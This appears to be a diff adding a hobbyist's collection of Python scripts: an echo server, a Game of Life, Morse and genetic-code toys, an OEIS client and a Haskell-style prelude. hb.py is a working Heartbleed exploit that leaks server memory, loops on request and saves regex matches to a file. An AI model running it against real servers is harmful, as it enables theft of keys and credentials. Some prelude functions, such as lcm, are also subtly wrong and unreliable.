|
||||
defaultobj = lambda: type('defaultobj', (defaultdict,), {
|
||||
'__getattr__': lambda self, x: self.__getitem__(x),
|
||||
'__setattr__': lambda self, x, v: self.__setitem__(x, v)
|
||||
})(defaultobj)
|
||||
|
||||
names = defaultobj()
|
||||
names.mammalia.primates.homo['H. Sapiens'] = 'Human being'
|
||||
|
||||
print(names)
|
11
python/echo.py
Normal file
11
python/echo.py
Normal file
@ -0,0 +1,11 @@
|
||||
## Single-expression echo server
|
||||
|
||||
(lambda s=__import__('socket'), i=__import__('itertools'):
|
||||
lambda port=9000, r=s.socket(s.AF_INET, s.SOCK_STREAM):
|
||||
all(r.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1),
|
||||
r.bind(('', port)),
|
||||
r.listen(5),
|
||||
set(map(lambda c:
|
||||
c[0].sendall(c[0].recv(1024)) and
|
||||
c[0].close(),
|
||||
(r.accept() for _ in i.count(1))))))()()
|
31
python/fiera.py
Normal file
31
python/fiera.py
Normal file
@ -0,0 +1,31 @@
|
||||
## Alla fiera dell'est. (Versione sofisticata di 99 bottles of beer on the wall)
|
||||
|
||||
ritornello = "Alla fiera dell'est, per due soldi, \
|
||||
un topolino mio padre comprò."
|
||||
strofe = ["E venne {}{}", "{}{}{}{}{}"]
|
||||
nomi = [
|
||||
["topo", ["al ", "mercato ", "mio padre ", "comprò."]],
|
||||
["gatto", "si mangiò"],
|
||||
["cane", "morse"],
|
||||
["bastone", "picchiò"],
|
||||
["fuoco", "bruciò"],
|
||||
["acqua", "spense"],
|
||||
["toro", "bevve"],
|
||||
["macellaio", "uccise"],
|
||||
["Angelo della morte", "su"],
|
||||
["Signore", "sul"]]
|
||||
|
||||
articolo = lambda x: "l'" if x in (5, 8) else "il "
|
||||
congiunzione = lambda x: "" if x in (8, 9) else "che "
|
||||
spazio = lambda x: "" if x == 9 else " "
|
||||
|
||||
print(ritornello)
|
||||
for i, nome in enumerate(nomi[1::]):
|
||||
print(strofe[0].format(articolo(i + 1), nome[0]), end=" ")
|
||||
for k in range(i + 1, 0, -1):
|
||||
print(strofe[1].format(
|
||||
congiunzione(k), nomi[k][1],
|
||||
spazio(k), articolo(k - 1),
|
||||
nomi[k - 1][0]), end=" ")
|
||||
print(strofe[1].format(congiunzione(0), *nomi[0][1]))
|
||||
print(ritornello)
|
54
python/gencode.py
Normal file
54
python/gencode.py
Normal file
@ -0,0 +1,54 @@
|
||||
## Genetic code
|
||||
|
||||
comp = {
|
||||
"A": "T",
|
||||
"T": "A",
|
||||
"C": "G",
|
||||
"G": "C",
|
||||
}
|
||||
|
||||
ammin = {
|
||||
"ser": ("UCG", "UCA", "UCC", "AGU", "UCU", "AGC"),
|
||||
"leu": ("CUG", "CUA", "CUC", "CUU", "UUG", "UUA"),
|
||||
"arg": ("AGG", "AGA", "CGU", "CGA", "CGG"),
|
||||
"ala": ("GCA", "GCG", "GCC", "GCU"),
|
||||
"gly": ("GGU", "GGG", "GGC", "GGA"),
|
||||
"pro": ("CCC", "CCA", "CCU", "CCG"),
|
||||
"thr": ("ACA", "ACC", "ACG", "ACU"),
|
||||
"val": ("GUG", "GUA", "GUU", "GUC"),
|
||||
"ile": ("AUC", "AUA", "AUU"),
|
||||
"asn": ("AAU", "AAC"),
|
||||
"asp": ("GAC", "GAU"),
|
||||
"cys": ("UGC", "UGU"),
|
||||
"gln": ("CAA", "CAG"),
|
||||
"glu": ("GAA", "GAG"),
|
||||
"his": ("CAU", "CAC"),
|
||||
"lys": ("AAA", "AAG"),
|
||||
"tyr": ("UAC", "UAU"),
|
||||
"phe": ("UUC", "UUU"),
|
||||
"trp": ("UGG",),
|
||||
"stop": ("UAA", "UAG", "UGA"),
|
||||
}
|
||||
ammin = {c: a for a in ammin for c in ammin[a]}
|
||||
|
||||
|
||||
def split(sequence):
|
||||
return map("".join, zip(*[iter(sequence)] * 3))
|
||||
|
||||
|
||||
def cdna(sequence):
|
||||
return (comp[base] for base in sequence)
|
||||
|
||||
|
||||
def mrna(sequence):
|
||||
return ("U" if base == "T" else base for base in sequence)
|
||||
|
||||
|
||||
def trna(sequence):
|
||||
return (ammin[codon] for codon in sequence)
|
||||
|
||||
sequence = "ACCGATCGATTACGTATAGTATTTGCTATCATACATATATATCGATGCGTTCAT"
|
||||
message = split(mrna(cdna(sequence)))
|
||||
protein = trna(message)
|
||||
|
||||
print(*protein)
|
172
python/hb.py
Executable file
172
python/hb.py
Executable file
@ -0,0 +1,172 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
## Flavored heartbleed test
|
||||
|
||||
import socket
|
||||
import struct
|
||||
import select
|
||||
import time
|
||||
import re
|
||||
import argparse
|
||||
|
||||
|
||||
def hex2bin(x):
|
||||
return bytes.fromhex(re.sub('\s', '', x))
|
||||
|
||||
|
||||
def format(s):
|
||||
for i in zip(*[iter(s)] * 64):
|
||||
if any(i):
|
||||
for k in i:
|
||||
if k in range(26, 128):
|
||||
yield chr(k)
|
||||
else:
|
||||
yield '.'
|
||||
yield '\n'
|
||||
|
||||
|
||||
def recvall(s, length, timeout=5):
|
||||
endtime = time.time() + timeout
|
||||
rdata = b''
|
||||
remain = length
|
||||
while remain > 0:
|
||||
rtime = endtime - time.time()
|
||||
if rtime < 0:
|
||||
return None
|
||||
r, w, e = select.select([s], [], [], 5)
|
||||
if s in r:
|
||||
data = s.recv(remain)
|
||||
# EOF?
|
||||
if not data:
|
||||
return None
|
||||
rdata += data
|
||||
remain -= len(data)
|
||||
return rdata
|
||||
|
||||
|
||||
def recvmsg(s):
|
||||
hdr = recvall(s, 5)
|
||||
if hdr is None:
|
||||
print('[Error] Unexpected EOF in header - server closed connection')
|
||||
return (None,) * 3
|
||||
typ, ver, ln = struct.unpack('>BHH', hdr)
|
||||
pay = recvall(s, ln, 10)
|
||||
if pay is None:
|
||||
print('[Error] Unexpected EOF in payload - server closed connection')
|
||||
return (None,) * 3
|
||||
print('[Received message]', 'type:', typ, 'ver:', ver, 'length:', len(pay))
|
||||
return typ, ver, pay
|
||||
|
||||
|
||||
def hit_hb(s):
|
||||
s.send(hb)
|
||||
while True:
|
||||
typ, ver, pay = recvmsg(s)
|
||||
if typ is None:
|
||||
print('[Not vulnerable] No heartbeat response received.')
|
||||
|
||||
if typ == 24:
|
||||
print('Received heartbeat response:')
|
||||
if len(pay) > 3:
|
||||
print('[Vulnerable] Server is vulnerable.')
|
||||
return format(pay)
|
||||
else:
|
||||
print('[Not vulnerable] Server did not return any extra data.')
|
||||
|
||||
if typ == 21:
|
||||
print('[Not vulnerable] Server returned error.')
|
||||
return format(pay)
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
|
||||
parser.add_argument('hostname', help='Hostname, ip address.')
|
||||
parser.add_argument(
|
||||
'-p', '--port',
|
||||
type=int, default=443,
|
||||
help='TCP port to test (default: 443)')
|
||||
parser.add_argument(
|
||||
'-s', '--starttls',
|
||||
action='store_true', default=False,
|
||||
help='check STARTTLS')
|
||||
parser.add_argument(
|
||||
'-l', '--loop',
|
||||
action='store_true', default=False,
|
||||
help='keep sending heartbeats')
|
||||
parser.add_argument(
|
||||
'-r', '--regex',
|
||||
type=str, default='',
|
||||
help='results to extract')
|
||||
args = parser.parse_args()
|
||||
while True:
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
print('Connecting to %s...' % args.hostname)
|
||||
s.connect((args.hostname, args.port))
|
||||
|
||||
if args.starttls:
|
||||
rec = s.recv(4096)
|
||||
s.send(b'ehlo starttlstest\n')
|
||||
rec = s.recv(1024)
|
||||
if b'STARTTLS' not in rec:
|
||||
print('[Error] STARTTLS not supported.')
|
||||
return
|
||||
s.send(b'starttls\n')
|
||||
rec = s.recv(1024)
|
||||
|
||||
print('Sending Client Hello...')
|
||||
s.send(hello)
|
||||
print('Waiting for Server Hello...')
|
||||
|
||||
while True:
|
||||
typ, ver, pay = recvmsg(s)
|
||||
if typ is None:
|
||||
print('[Error] Server closed connection.')
|
||||
return
|
||||
# Look for server hello done message.
|
||||
if typ == 22 and pay[0] == 0x0E:
|
||||
break
|
||||
|
||||
print('Sending heartbeat request...')
|
||||
s.send(hb)
|
||||
data = ''.join(hit_hb(s))
|
||||
|
||||
if data:
|
||||
print('Received data:', data, sep="\n")
|
||||
|
||||
if args.regex:
|
||||
matches = re.compile(args.regex, re.DOTALL).findall(data)
|
||||
with open('blood.txt', 'a') as file:
|
||||
file.write('\n'.join(matches))
|
||||
|
||||
if not args.loop:
|
||||
s.close()
|
||||
break
|
||||
except KeyboardInterrupt:
|
||||
s.close()
|
||||
return
|
||||
|
||||
hello = hex2bin('''
|
||||
16 03 02 00 dc 01 00 00 d8 03 02 53
|
||||
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
|
||||
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
|
||||
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
|
||||
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
|
||||
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
|
||||
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
|
||||
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
|
||||
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
|
||||
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
|
||||
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
|
||||
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
|
||||
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
|
||||
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
|
||||
00 0f 00 01 01''')
|
||||
|
||||
hb = hex2bin('''
|
||||
18 03 02 00 03
|
||||
01 40 00''')
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
86
python/led.py
Executable file
86
python/led.py
Executable file
@ -0,0 +1,86 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
## Output data through raspberry pi LED blinking. Use "echo mmc0 >/sys/class/leds/led0/trigger" to restore normal behavior.
|
||||
|
||||
import sys
|
||||
import socket
|
||||
import subprocess
|
||||
import time
|
||||
import argparse
|
||||
|
||||
|
||||
def morse(s):
|
||||
code = '_etianmsurwdkgohvf_l_pjbxcyzq__54_3___2__+____16=/_____7___8_90'
|
||||
|
||||
def e(l):
|
||||
i = code.find(l)
|
||||
v = ''
|
||||
while i > 0:
|
||||
v = '-.'[i % 2] + v
|
||||
i = (i - 1) // 2
|
||||
return v or '/'
|
||||
return map(e, s)
|
||||
|
||||
|
||||
def _blink(t):
|
||||
subprocess.call(['echo 1 > /sys/class/leds/led0/brightness'], shell=True)
|
||||
time.sleep(t)
|
||||
subprocess.call(['echo 0 > /sys/class/leds/led0/brightness'], shell=True)
|
||||
|
||||
|
||||
def dot(t):
|
||||
_blink(t)
|
||||
|
||||
|
||||
def dash(t):
|
||||
_blink(t * 3)
|
||||
|
||||
|
||||
def pause(t):
|
||||
time.sleep(t * 3)
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description='Output stdin to raspberry led0 in morse')
|
||||
parser.add_argument('text', nargs='?', help='text to output')
|
||||
parser.add_argument(
|
||||
'-u', '--unit',
|
||||
type=float, default=0.2,
|
||||
help='time unit in seconds')
|
||||
parser.add_argument(
|
||||
'-i', '--ip',
|
||||
action='store_true', default=False,
|
||||
help='output local ip address')
|
||||
parser.add_argument(
|
||||
'-b', '--bin',
|
||||
action='store_true', default=False,
|
||||
help='output using binary encoding')
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.text:
|
||||
text = args.text
|
||||
elif not sys.stdin.isatty():
|
||||
text = sys.stdin.read()
|
||||
elif args.ip:
|
||||
text = socket.gethostbyname(socket.getfqdn())
|
||||
else:
|
||||
parser.error('the following arguments are required: text')
|
||||
|
||||
if args.bin:
|
||||
data = (bin(i)[2::] for i in str.encode(text))
|
||||
conv = binary_conv
|
||||
else:
|
||||
data = morse(text)
|
||||
conv = morse_conv
|
||||
|
||||
for i in data:
|
||||
for k in i:
|
||||
conv[k](args.unit)
|
||||
time.sleep(args.unit)
|
||||
|
||||
morse_conv = {'.': dot, '-': dash, '/': pause}
|
||||
binary_conv = {'0': dot, '1': dash}
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
138
python/life.py
Executable file
138
python/life.py
Executable file
@ -0,0 +1,138 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
## The Game of Life using pyglet. A quite slow implementation.
|
||||
|
||||
import pyglet
|
||||
from pyglet.window import key
|
||||
import numpy
|
||||
|
||||
|
||||
class Application(pyglet.window.Window):
|
||||
|
||||
def __init__(self):
|
||||
"""Window initialization"""
|
||||
super().__init__(caption="The Game of Life", resizable=True)
|
||||
self.size = 10
|
||||
self.cells = numpy.zeros((self.width // self.size,
|
||||
self.height // self.size))
|
||||
self.running = False
|
||||
self.full = False
|
||||
self.frequency = 1 / 120
|
||||
pyglet.gl.glClearColor(0, 0.13, 0.16, 1.0)
|
||||
|
||||
def on_mouse_press(self, x, y, button, modifiers):
|
||||
"""Turn alive the cell under the pointer"""
|
||||
value = False if modifiers == key.MOD_COMMAND else True
|
||||
if x >= 0 and y >= 0:
|
||||
try:
|
||||
self.cells[x // self.size][y // self.size] = value
|
||||
except IndexError:
|
||||
pass
|
||||
|
||||
def on_mouse_drag(self, x, y, dx, dy, button, modifiers):
|
||||
"""Turn cells alive while dragging"""
|
||||
self.on_mouse_press(x, y, button, modifiers)
|
||||
|
||||
def on_mouse_scroll(self, x, y, scroll_x, scroll_y):
|
||||
self.size += scroll_y
|
||||
if self.size == 0:
|
||||
self.size += 1
|
||||
self.resize_space()
|
||||
|
||||
def on_key_press(self, button, modifiers):
|
||||
# Toggle update
|
||||
if button == key.SPACE:
|
||||
if self.running:
|
||||
pyglet.clock.unschedule(self.update)
|
||||
self.running = False
|
||||
else:
|
||||
pyglet.clock.schedule_interval(self.update, self.frequency)
|
||||
self.running = True
|
||||
# Reset space
|
||||
elif button == key.BACKSPACE:
|
||||
self.cells.fill(0)
|
||||
# Toggle fullscreen
|
||||
elif modifiers == key.MOD_COMMAND and button == key.F:
|
||||
if self.fullscreen:
|
||||
self.set_fullscreen(False)
|
||||
self.full = False
|
||||
else:
|
||||
self.set_fullscreen()
|
||||
self.full = True
|
||||
# Change update frequency
|
||||
if button == key.SLASH:
|
||||
self.frequency += 0.1
|
||||
if self.running:
|
||||
pyglet.clock.unschedule(self.update)
|
||||
pyglet.clock.schedule_interval(self.update, self.frequency)
|
||||
elif button == key.BRACKETRIGHT:
|
||||
self.frequency -= 0.1
|
||||
if self.running:
|
||||
pyglet.clock.unschedule(self.update)
|
||||
pyglet.clock.schedule_interval(self.update, self.frequency)
|
||||
|
||||
def on_resize(self, width, height):
|
||||
super().on_resize(width, height)
|
||||
self.resize_space()
|
||||
|
||||
def on_draw(self):
|
||||
"""Draw the frame"""
|
||||
self.clear()
|
||||
pyglet.gl.glColor3f(0.15, 0.6, 0.5)
|
||||
for x, row in enumerate(self.cells):
|
||||
for y, cell in enumerate(row):
|
||||
if cell:
|
||||
self.draw_cell(x, y)
|
||||
if self.size > 7:
|
||||
self.draw_grid()
|
||||
|
||||
def resize_space(self):
|
||||
self.cells.resize((self.width // self.size, self.height // self.size))
|
||||
|
||||
def draw_grid(self):
|
||||
"""Draw the grid"""
|
||||
pyglet.gl.glColor3f(0.06, 0.17, 0.21)
|
||||
for i in range(self.height // self.size):
|
||||
pyglet.graphics.draw(2, pyglet.gl.GL_LINES,
|
||||
('v2i', (0, i * self.size, self.width, i * self.size)))
|
||||
for j in range(self.width // self.size):
|
||||
pyglet.graphics.draw(2, pyglet.gl.GL_LINES,
|
||||
('v2i', (j * self.size, 0, j * self.size, self.height)))
|
||||
|
||||
def draw_cell(self, x, y):
|
||||
"""Draw a square"""
|
||||
x, y = x * self.size, y * self.size
|
||||
x1, y1, x2, y2 = x, y, x + self.size, y + self.size
|
||||
pyglet.graphics.draw(4, pyglet.gl.GL_QUADS,
|
||||
('v2f', (x1, y1, x1, y2, x2, y2, x2, y1)))
|
||||
|
||||
def update(self, dt):
|
||||
"""Calculate the next frame"""
|
||||
copy = numpy.copy(self.cells)
|
||||
for x, row in enumerate(self.cells):
|
||||
for y, cell in enumerate(row):
|
||||
copy[x][y] = self.alive(x, y)
|
||||
self.cells = numpy.copy(copy)
|
||||
|
||||
def alive(self, x, y):
|
||||
"""Calculate if a cell will be alive in the next frame"""
|
||||
livings = 0
|
||||
for i in (-1, 0, 1):
|
||||
for j in (-1, 0, 1):
|
||||
try:
|
||||
if (self.cells[x + i][y + j]
|
||||
and x + i > 0 and y + j > 0):
|
||||
livings += 1
|
||||
except IndexError:
|
||||
continue
|
||||
if self.cells[x][y]:
|
||||
livings -= 1
|
||||
if not self.cells[x][y] and livings == 3:
|
||||
return 1
|
||||
elif self.cells[x][y] and livings in (2, 3):
|
||||
return 1
|
||||
else:
|
||||
return 0
|
||||
|
||||
app = Application()
|
||||
pyglet.app.run()
|
3
python/morse.py
Normal file
3
python/morse.py
Normal file
@ -0,0 +1,3 @@
|
||||
## Morse code golf
|
||||
|
||||
print(''.join([("te","mnai","ogkdwrus","cöqzycxbjpälüfvh")[len(i)-1][int(i,2)]for i in input().replace(".","1").replace("-","0").split(" ")]))
|
52
python/oeis.py
Executable file
52
python/oeis.py
Executable file
@ -0,0 +1,52 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
## Search the OEIS database
|
||||
|
||||
import re
|
||||
import sys
|
||||
import argparse
|
||||
import requests
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Search the OEIS database")
|
||||
mode = parser.add_mutually_exclusive_group(required=True)
|
||||
mode.add_argument(
|
||||
'-s', '--sequence', nargs='+', type=int,
|
||||
help="Search for a sequence")
|
||||
mode.add_argument(
|
||||
"-i", "--id", type=str,
|
||||
help="retrive sequence by OEIS id")
|
||||
args = parser.parse_args()
|
||||
|
||||
#Print first result for given id
|
||||
if args.id:
|
||||
payload = {"fmt": "text", "q": "id:" + sys.argv[2]}
|
||||
request = requests.get("http://oeis.org/search", params=payload)
|
||||
text = request.text.split("\n")[6:-2]
|
||||
|
||||
print(args.id)
|
||||
for i, row in enumerate(text):
|
||||
row = re.sub("\(AT\)", "@", row)
|
||||
row = re.sub("<a href=\"(.+)\">(.+)</a>", "[\g<2>](\g<1>)", row)
|
||||
if text[i - 1][:2] != text[i][:2]:
|
||||
print(" ")
|
||||
print(row[11:])
|
||||
|
||||
#Print results
|
||||
else:
|
||||
payload = {"fmt": "text", "q": ",".join(map(str, args.sequence))}
|
||||
request = requests.get("http://oeis.org/search", params=payload)
|
||||
print(request.text)
|
||||
text = request.text.split("\n\n")[2:-1]
|
||||
|
||||
for sequence in text:
|
||||
sequence = sequence.split("\n")
|
||||
code = sequence[0][3::]
|
||||
for row in sequence:
|
||||
if row[:2] == "%N":
|
||||
print(row[3:10], "-", row[11:], sep=" ")
|
||||
break
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
201
python/prelude.py
Normal file
201
python/prelude.py
Normal file
@ -0,0 +1,201 @@
|
||||
## Haskell prelude in python
|
||||
|
||||
from functools import reduce, partial
|
||||
from ast import literal_eval
|
||||
from math import *
|
||||
|
||||
# make a function an infix operator
|
||||
class infix:
|
||||
def __init__(self, f):
|
||||
self.f = f
|
||||
|
||||
def __or__(self, other):
|
||||
return self.f(other)
|
||||
|
||||
def __ror__(self, other):
|
||||
return infix(partial(self.f, other))
|
||||
|
||||
def __call__(self, x, y):
|
||||
return self.f(x, y)
|
||||
|
||||
|
||||
# make function composable
|
||||
class compose:
|
||||
def __init__(self, f):
|
||||
self.f = f
|
||||
|
||||
def __call__(self, *args, **kwargs):
|
||||
return self.f(*args, **kwargs)
|
||||
|
||||
def __mul__(self, other):
|
||||
return compose(self._compose(other))
|
||||
|
||||
def __lshift__(self, x):
|
||||
return self.f(x)
|
||||
|
||||
def _compose(self, g):
|
||||
return lambda *args, **kwargs: self.f(g(*args, **kwargs))
|
||||
|
||||
|
||||
# curry and compose a function
|
||||
def curry(x, argc=None):
|
||||
if argc is None:
|
||||
try:
|
||||
argc = x.__code__.co_argcount
|
||||
except AttributeError:
|
||||
# if x is a composable
|
||||
argc = x.f.__code__.co_argcount
|
||||
def p(*a):
|
||||
if len(a) == argc:
|
||||
return x(*a)
|
||||
def q(*b):
|
||||
return x(*(a + b))
|
||||
return curry(q, argc - len(a))
|
||||
return compose(p)
|
||||
|
||||
|
||||
# functions to be redefined
|
||||
_print, _range = print, range
|
||||
_filter, _map, _zip = filter, map, zip
|
||||
_list, _str, _chr = list, str, chr
|
||||
_all, _any = all, any
|
||||
|
||||
|
||||
# python
|
||||
list = compose (_list)
|
||||
chr = compose (_chr)
|
||||
range = compose (lambda a, b, s=1:
|
||||
list << _range(a, b+1, s) if isinstance (a, int)
|
||||
else map (chr) << _range (ord(a), ord(b)+1, s))
|
||||
|
||||
# Operators
|
||||
add = curry (lambda y, x: x + y)
|
||||
sub = curry (lambda y, x: x - y)
|
||||
mult = curry (lambda y, x: x * y)
|
||||
quot = infix (lambda x, y: x // y)
|
||||
rem = infix (lambda x, y: x % y)
|
||||
|
||||
# Tuples
|
||||
fst = compose (lambda t: t[0])
|
||||
snd = compose (lambda t: t[1])
|
||||
|
||||
# Higher order functions
|
||||
map = curry (lambda f, xs: list << _map (f, xs))
|
||||
filter = curry (lambda f, xs: list << _filter (f, xs))
|
||||
foldl = curry (lambda f, xs: reduce (f, xs))
|
||||
foldr = curry (lambda f, xs: reduce (f, xs[::-1]))
|
||||
|
||||
# Miscellaneous
|
||||
flip = curry (lambda f, a, b: f (b, a))
|
||||
id = compose (lambda x: x)
|
||||
const = compose (lambda x, _: x)
|
||||
do = lambda *x: any([x])
|
||||
|
||||
# Boolean
|
||||
no = compose (lambda x: not x)
|
||||
ee = curry (lambda x, y : x and y)
|
||||
oo = curry (lambda x, y : x or y)
|
||||
all = curry (lambda xs: _all(xs))
|
||||
any = curry (lambda xs: _any(xs))
|
||||
|
||||
# Numerical
|
||||
even = compose (lambda x: x % 2 == 0)
|
||||
odd = no * even
|
||||
gcd = compose (lambda x, y,
|
||||
gcd_=lambda x, y: x if y == 0
|
||||
else gcd (y, x |rem| y):
|
||||
gcd_ (abs(x), abs(y)))
|
||||
lcm = compose (lambda x, y: 0 if no (x or y)
|
||||
else (x |quot| gcd (x, y))*2)
|
||||
|
||||
# List
|
||||
head = compose (lambda xs: xs[0])
|
||||
last = compose (lambda xs: xs[-1])
|
||||
tail = compose (lambda xs: xs[1:])
|
||||
init = compose (lambda xs: xs[0:-1])
|
||||
null = compose (lambda xs: len (xs) == 0)
|
||||
length = compose (len)
|
||||
reverse = compose (lambda xs: xs[::-1])
|
||||
|
||||
# Special folds
|
||||
sum = compose (lambda xs: foldl (add, xs))
|
||||
product = compose (lambda xs: foldl (mult, xs))
|
||||
concat = compose (lambda xs:
|
||||
(lambda r=[x for x in (x for x in xs)]:
|
||||
''.join(r) if isinstance(xs[0], str)
|
||||
else r)())
|
||||
concatMap = curry (lambda f, xs: concat << map (f) (xs))
|
||||
maximum = compose (lambda xs: max (xs))
|
||||
minimum = compose (lambda xs: min (xs))
|
||||
|
||||
# Building lists
|
||||
scanl = curry (lambda f, z: add ([z]) * map (f (z)))
|
||||
scanr = curry (lambda f, z: scanl (f, z) * reverse)
|
||||
|
||||
# Sublist
|
||||
take = curry (lambda n, xs: xs[:n])
|
||||
drop = curry (lambda n, xs: xs[n:])
|
||||
splitAt = curry (lambda n, xs: (xs[:n], xs[n:]))
|
||||
takeWhile = curry (lambda p, xs:
|
||||
[] if no * p << head (xs)
|
||||
else [head (xs)] + takeWhile (p) (tail (xs)))
|
||||
dropWhile = curry (lambda p, xs:
|
||||
[] if null (xs)
|
||||
else dropWhile (p) << tail (xs) if p << head (xs)
|
||||
else xs)
|
||||
span = curry (lambda p, xs:
|
||||
(xs, xs) if null (xs)
|
||||
else ([], xs) if no * p << head (xs)
|
||||
else (lambda k = span (p, tail (xs)):
|
||||
([head (xs)] ++ fst (k), snd (k))
|
||||
)())
|
||||
break_ = curry (lambda p, xs: span (no * pi) (xs))
|
||||
|
||||
# Searching lists
|
||||
elem = curry (lambda x, xs: x in xs)
|
||||
notElem = curry (no * elem)
|
||||
lookup = curry (lambda x, ks: ks.get(x))
|
||||
|
||||
# Zipping and unzipping lists
|
||||
zip = curry (lambda xs, ys: list << _zip (xs, ys))
|
||||
zip3 = curry (lambda xs, ys, zs: list << _zip (xs, ys, zs))
|
||||
zipWith = curry (lambda f, xs, ys: list << _map (f, xs, ys))
|
||||
zipWith3 = curry (lambda f, xs, ys, zs: list << _map (f, xs, ys, zs))
|
||||
unzip = compose (lambda xs: list << _zip(*xs))
|
||||
unzip3 = unzip
|
||||
|
||||
# Functions on strings
|
||||
lines = compose (lambda x: x.split('\n'))
|
||||
words = compose (lambda x: x.split())
|
||||
unlines = compose (lambda x: '\n'.join(x))
|
||||
unwords = compose (lambda x: ' '.join(x))
|
||||
|
||||
# Converting to String
|
||||
show = str
|
||||
|
||||
# Converting from String
|
||||
read = compose (literal_eval)
|
||||
|
||||
# Output functions
|
||||
putStr = compose (lambda x: _print (x, end=""))
|
||||
putStrLn = compose (lambda x: _print (x))
|
||||
print = putStrLn * show
|
||||
|
||||
# Input functions
|
||||
getLine = compose (input)
|
||||
|
||||
main = do (
|
||||
print ("Is this Haskell?"),
|
||||
# Is this a let?
|
||||
(lambda n = mult (3) * product * filter (odd) * init << range (1, 10),
|
||||
k = 14 |quot| 3, # infix?
|
||||
e = lcm (620, 12):
|
||||
print << (n, k, e)
|
||||
)(),
|
||||
print * concat << range ('a', 'f'),
|
||||
print * scanl (mult, 2) * snd * splitAt (3) << range (10, 20),
|
||||
print * concatMap (add ("! ")) << ["hey", "hi", "what"],
|
||||
print << dropWhile (odd) ([1,3,5,8,11,12]),
|
||||
print << zip3 ([1,2,3], [4,5,6], [3,4,5]),
|
||||
|
||||
)
|
12
python/proxy-ip.py
Normal file
12
python/proxy-ip.py
Normal file
@ -0,0 +1,12 @@
|
||||
## Unsafe way to get the address behind a proxy in werkzeug.
|
||||
|
||||
import werkzeug.serving
|
||||
|
||||
class RequestHandler(werkzeug.serving.WSGIRequestHandler):
|
||||
def address_string(self):
|
||||
addrs = self.headers['x-forwarded-for']
|
||||
if addrs:
|
||||
return addrs.split(',')[-1]
|
||||
return self.client_address[0]
|
||||
|
||||
werkzeug.serving.WSGIRequestHandler = RequestHandler
|
121
python/pychat.py
Executable file
121
python/pychat.py
Executable file
@ -0,0 +1,121 @@
|
||||
#!/usr/bin/env nix-script
|
||||
#!>python3
|
||||
|
||||
## write to a file in a chat-like fashion
|
||||
|
||||
import subprocess
|
||||
import time
|
||||
import threading
|
||||
import readline
|
||||
import sys
|
||||
import os
|
||||
|
||||
def sprint(*args, **kwargs):
|
||||
'''
|
||||
Safe print
|
||||
Write automagically to stdout while reading
|
||||
from stdin without mixing any text.
|
||||
'''
|
||||
line_length = len(readline.get_line_buffer())+2
|
||||
sys.stdout.write('\r' + ' ' * line_length +'\r')
|
||||
print(*args, **kwargs)
|
||||
sys.stdout.write(prompt() + readline.get_line_buffer())
|
||||
sys.stdout.flush()
|
||||
|
||||
|
||||
def clear():
|
||||
'''Clear the screen'''
|
||||
cmd = 'cls' if sys.platform == 'win32' else "clear && printf '\e[3J'"
|
||||
subprocess.call(cmd, shell=True)
|
||||
|
||||
def terminal_size():
|
||||
'''Get size of terminal window (lines, columns)'''
|
||||
def ioctl_GWINSZ(fd):
|
||||
try:
|
||||
import fcntl, termios, struct, os
|
||||
cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ,
|
||||
'1234'))
|
||||
except:
|
||||
return
|
||||
return cr
|
||||
cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)
|
||||
if not cr:
|
||||
try:
|
||||
fd = os.open(os.ctermid(), os.O_RDONLY)
|
||||
cr = ioctl_GWINSZ(fd)
|
||||
os.close(fd)
|
||||
except:
|
||||
pass
|
||||
if not cr:
|
||||
env = os.environ
|
||||
cr = (env.get('LINES', 25), env.get('COLUMNS', 80))
|
||||
return list(map(int, cr))
|
||||
|
||||
|
||||
def timestamp(message):
|
||||
'''Add timestamp to a message'''
|
||||
stamp = time.strftime('%d.%m.%y - %H:%M:%S')
|
||||
return '{} {}: {}\n'.format(stamp, username, message)
|
||||
|
||||
|
||||
def update():
|
||||
'''Keep the console output updated'''
|
||||
global previous
|
||||
|
||||
while True:
|
||||
time.sleep(0.1)
|
||||
file.seek(0)
|
||||
current = file.read()
|
||||
if current == previous:
|
||||
pass
|
||||
else:
|
||||
clear()
|
||||
sprint(current)
|
||||
previous = current
|
||||
|
||||
|
||||
def read():
|
||||
'''Prompt user for input'''
|
||||
global previous
|
||||
global username
|
||||
text = input(prompt())
|
||||
|
||||
if text.startswith('/'):
|
||||
command = text[1:].split()
|
||||
if command[0] == 'quit':
|
||||
sys.exit()
|
||||
elif command[0] == 'setname':
|
||||
username = ' '.join(command[1:])
|
||||
elif command[0] == 'clear':
|
||||
file.seek(0)
|
||||
file.truncate()
|
||||
clear()
|
||||
elif text != '':
|
||||
file.write(timestamp(text))
|
||||
file.write('\n')
|
||||
else:
|
||||
previous=file.read()
|
||||
|
||||
|
||||
mod = lambda x: (0 if x<0 else x)
|
||||
|
||||
